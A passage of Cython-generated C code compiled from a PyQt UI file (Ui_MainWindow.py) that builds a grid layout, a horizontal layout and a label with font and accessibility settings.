__pyx_t_1 = 0; /* "Ui_MainWindow.py":65 * self.gridLayout.setContentsMargins(6, 0, 6, 0) * self.gridLayout.setHorizontalSpacing(4) * self.gridLayout.setVerticalSpacing(0) # <<<<<<<<<<<<<< * self.gridLayout.setObjectName("gridLayout") * self.horizontalLayout = QtWidgets.QHBoxLayout() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setVerticalSpacing); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__40, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":66 * self.gridLayout.setHorizontalSpacing(4) * self.gridLayout.setVerticalSpacing(0) * self.gridLayout.setObjectName("gridLayout") # <<<<<<<<<<<<<< * self.horizontalLayout = QtWidgets.QHBoxLayout() * self.horizontalLayout.setObjectName("horizontalLayout") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__41, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":67 * self.gridLayout.setVerticalSpacing(0) * self.gridLayout.setObjectName("gridLayout") * self.horizontalLayout = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout.setObjectName("horizontalLayout") * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout, __pyx_t_1) < 0) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":68 * self.gridLayout.setObjectName("gridLayout") * self.horizontalLayout = QtWidgets.QHBoxLayout() * self.horizontalLayout.setObjectName("horizontalLayout") # <<<<<<<<<<<<<< * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) * self.label_2.setEnabled(True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__42, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":69 * self.horizontalLayout = QtWidgets.QHBoxLayout() * self.horizontalLayout.setObjectName("horizontalLayout") * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) # <<<<<<<<<<<<<< * self.label_2.setEnabled(True) * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_2, __pyx_t_1) < 0) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":70 * self.horizontalLayout.setObjectName("horizontalLayout") * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) * self.label_2.setEnabled(True) # <<<<<<<<<<<<<< * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__43, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":71 * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) * self.label_2.setEnabled(True) * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(10) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__44, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":72 * self.label_2.setEnabled(True) * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setPointSize(10) * font.setBold(False) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":73 * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setWeight(50) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__45, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":74 * font = QtGui.QFont() * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(True) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__46, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":75 * font.setPointSize(10) * font.setBold(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(True) * self.label_2.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__47, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":76 * font.setBold(False) * font.setWeight(50) * font.setKerning(True) # <<<<<<<<<<<<<< * self.label_2.setFont(font) * self.label_2.setToolTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__48, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":77 * font.setWeight(50) * font.setKerning(True) * self.label_2.setFont(font) # <<<<<<<<<<<<<< * self.label_2.setToolTip("") * self.label_2.setStatusTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setFont); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":78 * font.setKerning(True) * self.label_2.setFont(font) * self.label_2.setToolTip("") # <<<<<<<<<<<<<< * self.label_2.setStatusTip("") * self.label_2.setAccessibleName("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__49, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":79 * self.label_2.setFont(font) * self.label_2.setToolTip("") * self.label_2.setStatusTip("") # <<<<<<<<<<<<<< * self.label_2.setAccessibleName("") * self.label_2.setAccessibleDescription("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__50, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":80 * self.label_2.setToolTip("") * self.label_2.setStatusTip("") * self.label_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.label_2.setAccessibleDescription("") * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__51, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":81 * self.label_2.setStatusTip("") * self.label_2.setAccessibleName("") * self.label_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_2.setObjectName("label_2") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__52, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":82 * self.label_2.setAccessibleName("") * self.label_2.setAccessibleDescription("") * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) # <<<<<<<<<<<<<< * self.label_2.setObjectName("label_2") * self.horizontalLayout.addWidget(self.label_2) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setLayoutDirection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_RightToLeft); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 